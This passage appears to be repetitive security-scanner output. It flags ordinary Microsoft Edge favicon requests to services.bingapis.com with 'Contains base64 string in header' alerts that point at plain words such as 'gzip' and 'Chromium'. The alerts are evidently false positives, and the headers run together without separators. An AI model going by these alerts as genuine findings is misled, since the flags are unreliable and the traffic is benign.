zstdSec-Fetch-Dest: image" Contains base64 string in header "gzip" in header "GET /favicon?url=straitstimes.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Dest" in header "GET /favicon?url=straitstimes.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "/favicon" in header "GET /favicon?url=upi.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "webp" in header "GET /favicon?url=upi.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "services" in header "GET /favicon?url=upi.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "bingapis" in header "GET /favicon?url=upi.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "like" in header "GET /favicon?url=upi.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "0Sec" in header "GET /favicon?url=upi.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Mode" in header "GET /favicon?url=upi.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Site" in header "GET /favicon?url=upi.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Language" in header "GET /favicon?url=upi.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "8Sec" in header "GET /favicon?url=upi.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Edge" in header "GET /favicon?url=upi.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Chromium" in header "GET /favicon?url=upi.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Platform" in header "GET /favicon?url=upi.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Encoding" in header "GET /favicon?url=upi.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "gzip" in header "GET /favicon?url=upi.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Dest" in header "GET /favicon?url=upi.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "/favicon" in header "GET /favicon?url=appsinsight.co?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "webp" in header "GET /favicon?url=appsinsight.co?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "services" in header "GET /favicon?url=appsinsight.co?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "bingapis" in header "GET /favicon?url=appsinsight.co?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "like" in header "GET /favicon?url=appsinsight.co?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "0Sec" in header "GET /favicon?url=appsinsight.co?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Mode" in header "GET /favicon?url=appsinsight.co?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Site" in header "GET /favicon?url=appsinsight.co?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Language" in header "GET /favicon?url=appsinsight.co?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "8Sec" in header "GET /favicon?url=appsinsight.co?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Edge" in header "GET /favicon?url=appsinsight.co?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Chromium" in header "GET /favicon?url=appsinsight.co?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Platform" in header "GET /favicon?url=appsinsight.co?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Encoding" in header "GET /favicon?url=appsinsight.co?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "gzip" in header "GET /favicon?url=appsinsight.co?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Dest" in header "GET /favicon?url=appsinsight.co?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "/favicon" in header "GET /favicon?url=feedzop.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "webp" in header "GET /favicon?url=feedzop.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: 